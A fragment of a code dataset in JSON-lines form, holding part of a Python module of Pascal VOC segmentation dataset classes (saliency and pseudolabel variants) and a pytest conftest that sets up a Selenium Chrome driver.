self._convert_to_segmentation_mask_lables\n            TARGET_DIR = \"SegmentationClassAug\"\n            voc_root = os.path.join(self.root, \"VOCdevkit/VOC2012\")\n            splits_dir = os.path.join(voc_root, \"ImageSets\", self._SPLITS_DIR)\n            split_f = os.path.join(splits_dir, split.rstrip(\"\\n\") + \".txt\")\n            with open(os.path.join(split_f), \"r\") as f:\n                file_names = [x.strip() for x in f.readlines()]\n\n            image_dir = os.path.join(voc_root, \"JPEGImages\")\n            self.images = [os.path.join(image_dir, f\"{x}.jpg\") for x in file_names]\n\n            target_dir = os.path.join(voc_root, TARGET_DIR)\n            self.targets = [os.path.join(target_dir, x + self._TARGET_FILE_EXT) for x in file_names]\n\n            assert len(self.images) == len(self.targets)\n        self.file_names = file_names\n\n    @property\n    def ids(self):\n        return self.images\n\n    @staticmethod\n    def _convert_to_segmentation_mask(mask):\n        \"\"\"Converts a mask from the Pascal VOC format to the format required by AutoAlbument.\"\"\"\n        height, width = mask.shape[:2]\n        segmentation_mask = np.zeros((height, width, len(VOC_COLORMAP)), dtype=np.float32)\n        for label_index, label in enumerate(VOC_COLORMAP):\n            segmentation_mask[:, :, label_index] = np.all(mask == label, axis=-1).astype(float)\n\n        return segmentation_mask\n\n    @staticmethod\n    def _convert_to_segmentation_mask_lables(mask):\n        height, width = mask.shape[:2]\n        segmentation_mask = np.zeros((height, width, len(VOC_COLORMAP)), dtype=np.float32)\n        for label_index, _ in enumerate(VOC_COLORMAP):\n            segmentation_mask[:, :, label_index] = np.all(mask == label_index, axis=-1).astype(float)\n        return segmentation_mask\n\n    def __len__(self) -> int:\n        return len(self.images)\n\n    @property\n    def masks(self) -> List[str]:\n        return self.targets\n\n    def __getitem__(self, index):\n        image = cv2.imread(self.images[index])\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n        mask = cv2.imread(self.masks[index])\n        mask = cv2.cvtColor(mask, cv2.COLOR_BGR2RGB)\n        mask = self._convert_to_segmentation_mask(mask)\n        if self.transform is not None:\n            transformed = self.transform(image=image, mask=mask)\n            image = transformed[\"image\"]\n            mask = transformed[\"mask\"].permute(2, 0, 1)\n\n        return index, image, mask\n\n    def get_shape(self, img_id):\n        image = cv2.imread(img_id)\n        return image.shape[:2]\n\n    def get_mask(self, index):\n        mask = np.array(Image.open(self.masks[index]))\n        return mask\n\n\nclass PascalVOCSegmentationWrapper(PascalVOCSegmentation):\n    def __getitem__(self, index):\n        _, image, mask = super().__getitem__(index)\n        return self.images[index], image, mask\n\n\nclass PascalVOCSegmentationSaliency(PascalVOCSegmentation):\n    def __init__(self, root, split, saliency):\n        super().__init__(root=root, split=split, transform=None)\n        self.sal = saliency\n        self.dino_inputs_size = saliency.dino_inputs_size\n        if saliency.type != \"dir\":\n            self.sal_masks = self.get_saliency_masks(\n                dataset_root=root, dataset_split=split, sal=saliency\n            )\n        self.images = self._create_object_index()\n\n    def _create_object_index(self):\n        filtered_sal_masks = []\n        filtered_images = []\n        filtered_bbox = []\n        if self.sal.type != \"dir\":\n            for image_path, mask in zip(self.images, self.sal_masks):\n                image = cv2.imread(image_path)\n                mask = cv2.resize(\n                    mask.astype(np.int32),\n                    image.shape[:2][::-1],\n                    interpolation=cv2.INTER_NEAREST,\n                )\n                if mask.sum() != 0:\n                    regions = regionprops(mask)\n                    assert len(regions) == 1\n                    region = regions[0]\n                    # we filter saliency masks smaller than 20x20 pixels\n                    # as their crop resize representation is meaningless\n                    if region.area > self.sal.min_size:\n                        bbox = (\n                            region.bbox[1],\n                            region.bbox[0],\n                            region.bbox[3],\n                            region.bbox[2],\n                        )\n                        filtered_sal_masks.append(mask)\n                        filtered_images.append(image_path)\n                        filtered_bbox.append(bbox)\n            log.info(f\"Found {len(filtered_images)} images with valid saliency masks.\")\n            self.sal_masks = filtered_sal_masks\n            self.bbox = filtered_bbox\n        else:\n            filtered_images = self.images\n\n        return filtered_images\n\n    @staticmethod\n    def get_saliency_masks(dataset_root, dataset_split, sal):\n        name = f\"{sal.type}_sal_masks_bin_th_{sal.th}_{dataset_split}\"\n        data_path = os.path.join(dataset_root, f\"{name}.npz\")\n        if not sal.use_saved or not os.path.isfile(data_path):\n            log.info(f\"Compute {sal.type} from scratch\")\n            transforms_list = [\n                A.Resize(sal.size, sal.size),\n                A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n                ToTensorV2(),\n            ]\n            transform = A.Compose(transforms_list)\n            dataset = PascalVOCSegmentation(\n                root=dataset_root, split=dataset_split, transform=transform\n            )\n            loader = torch.utils.data.DataLoader(\n                dataset,\n                batch_size=sal.batch_size,\n                shuffle=False,\n                collate_fn=collate_fn_masks,\n            )\n            basnet = load_sal_model(sal.path, sal.type, sal.th)\n            basnet = torch.nn.DataParallel(basnet)\n            all_sal_masks = []\n            for _, imgs, _ in tqdm(loader):\n                sal_masks = basnet(imgs.cuda()).cpu()\n                all_sal_masks.append(sal_masks)\n            sal_masks = np.concatenate(all_sal_masks)\n            np.savez(data_path, sal_masks=sal_masks)\n        else:\n            data = np.load(data_path)\n            sal_masks = data[\"sal_masks\"]\n        return sal_masks\n\n    def get_sal_mask(self, index):\n        if self.sal.type == \"dir\":\n            image_path = self.images[index]\n            image_id = image_path.split(\"/\")[-1][:-4]\n            mask_path = os.path.join(self.sal.dir, f\"{image_id}.png\")\n            mask = imageio.imread(mask_path)\n            regions = regionprops(mask)\n            regions.sort(key=lambda x: x.area, reverse=True)\n            # assert len(regions) == 1\n            # we sort and take largest region for DeepUSPS\n            region = regions[0]\n            bbox = (region.bbox[1], region.bbox[0], region.bbox[3], region.bbox[2])\n            return mask.astype(np.int64), bbox\n        return self.sal_masks[index].astype(np.int64), self.bbox[index]\n\n    def __getitem__(self, index):\n        image = cv2.imread(self.images[index])\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n        sal, bbox = self.get_sal_mask(index)\n        assert sal.shape == image.shape[:2], f\"Sal: {sal.shape}, Im: {image.shape}\"\n        transforms_list = [\n            A.Crop(*bbox),\n            A.Resize(self.dino_inputs_size, self.dino_inputs_size),\n            A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n            ToTensorV2(),\n        ]\n        transform = A.Compose(transforms_list)\n        transformed = transform(image=image, mask=sal)\n        sal, image = transformed[\"mask\"], transformed[\"image\"]\n        sal_masks_binary = torch.cat([(sal == False).float()[None], (sal == True).float()[None]])\n        return index, image, sal_masks_binary\n\n\nclass PascalVOCSegmentationPseudolabels(PascalVOCSegmentation):\n    def __init__(\n        self,\n        root,\n        image_set,\n        pseudolables_data_dir,\n        transform,\n        n_clusters=20,\n    ):\n        super().__init__(root=root, split=image_set, transform=transform)\n        self.pseudolables_data_dir = pseudolables_data_dir\n        pseudolabels_path = os.path.join(pseudolables_data_dir, \"ids.npy\")\n        self.images = list(np.load(pseudolabels_path))\n        self.n_clusters = n_clusters + 1\n\n    def __getitem__(self, index):\n        img_id = self.images[index]\n        image = cv2.imread(self.images[index])\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n        mask_file = os.path.join(self.pseudolables_data_dir, f\"{img_id.split('/')[-1]}.npy\")\n        pseudo_mask = np.load(mask_file)\n        assert pseudo_mask.shape == image.shape[:2]\n        pseudo_mask = self._convert_to_segmentation_mask_cluster_lables(pseudo_mask)\n        if self.transform is not None:\n            transformed = self.transform(image=image, pseudo_mask=pseudo_mask)\n            image = transformed[\"image\"]\n            pseudo_mask = transformed[\"pseudo_mask\"].permute(2, 0, 1)\n\n        return index, image, pseudo_mask\n\n    def _convert_to_segmentation_mask_cluster_lables(self, mask):\n\n        height, width = mask.shape[:2]\n        segmentation_mask = np.zeros((height, width, self.n_clusters), dtype=np.float32)\n        for label_index in range(self.n_clusters):\n            segmentation_mask[:, :, label_index] = (mask == label_index).astype(float)\n        return segmentation_mask\n","repo_name":"zadaianchuk/comus","sub_path":"comus/datasets/pascal_voc.py","file_name":"pascal_voc.py","file_ext":"py","file_size_in_byte":12614,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"}
+{"seq_id":"27258956684","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options as chrome_options\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom helpers.webdriver_listener import WebDriverListener\nfrom selenium.webdriver.support.event_firing_webdriver import EventFiringWebDriver\n\n\n@pytest.fixture\ndef get_chrome_options():\n    options = chrome_options()\n    options.add_argument('chrome')\n    options.add_argument(\"--lang=uk\")\n    options.add_argument('--start-maximized')\n    return options\n\n@pytest.fixture\ndef get_webdriver(get_chrome_options):\n    options = get_chrome_options\n    driver = EventFiringWebDriver(webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()), options=options),\n    WebDriverListener())\n    return driver\n\n@pytest.fixture(scope='function')\ndef setup(request, get_webdriver):\n    driver = get_webdriver\n    url = 'https://www.redmine.org/'\n    if request.cls is not None:\n        request.cls.driver = driver\n    driver.get(url)\n    yield driver\n    driver.quit()","repo_name":"MaksymVak/Selenium-python-e2e","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}